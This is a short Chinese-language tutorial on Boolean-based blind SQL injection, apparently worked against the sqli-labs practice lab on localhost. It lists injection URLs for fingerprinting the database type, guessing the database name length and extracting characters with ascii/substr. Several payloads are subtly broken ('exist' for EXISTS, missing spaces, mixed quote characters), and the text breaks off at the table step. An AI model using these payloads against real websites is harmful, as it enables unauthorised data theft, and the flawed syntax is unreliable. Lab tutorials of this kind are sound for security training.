Boolean盲注
盲注通常用于web页面没有回显的情况下,通过盲注来验证注入的sql语句是否得到了执行。盲注这种方式在于猜解。
1.首先判断数据库类型
当在1前加上“-”时,页面并没有报错,https://127.0.0.1/sqli/Less-1/?id=-1;
https://127.0.0.1/sqli/Less-1/?id=1’,加上单引号后报错,由此可以说明,这是一个字符型注入点。原sql语句为 select * from user where id = '1'' limit 0,1;
2.在https://127.0.0.1/sqli/Less-1/?id=1’这个注入点上,接下来需要通过盲注判断数据库类型、数据库名、数据库列名和数据库列名下的数据。
判断数据库类型:不同数据库中存在有特有表,mysql(5.0以上本):information_schema.tables、access:msysobjects、sqlserver:sysobjects、oracle:dual。
通过exist()函数判断数据库是否有这些表的数据来判断数据库类型。
https://127.0.0.1/sqli/Less-1/?id=1’ and exist(select * frominformation_schema.tables)#
https://127.0.0.1/sqli/Less-1/?id=1’ and exist(select * from msysobjects)#
https://127.0.0.1/sqli/Less-1/?id=1' and exist(select * from sysobjects)#
https://127.0.0.1/sqli/Less-1/?id=1' and exist(select * from dual)>0#
2.判断数据库名
https://127.0.0.1/sqli/Less-1/?id=1' and length(database())>5 //正常
https://127.0.0.1/sqli/Less-1/?id=1' and length(database())>10 //不正常
https://127.0.0.1/sqli/Less-1/?id=1' and length(database())>7 //正常
https://127.0.0.1/sqli/Less-1/?id=1' and length(database())>8 //不正常
大于7正常且大于8不正常,说明length(database())大于7小于等于8,所以长度为8位
然后通过函数ascii()判断数据库字符
e.g
https://127.0.0.1/sqli/Less-1/?id=1' and ascii(substr(database(),1,1)) >100 //通过二分法及ascii表分别查询出database()
3.判断数据库中的表
https://127.0.0.1/sqli/Less-1/?id=1’ and exist(select * frominformation_schema.tables)#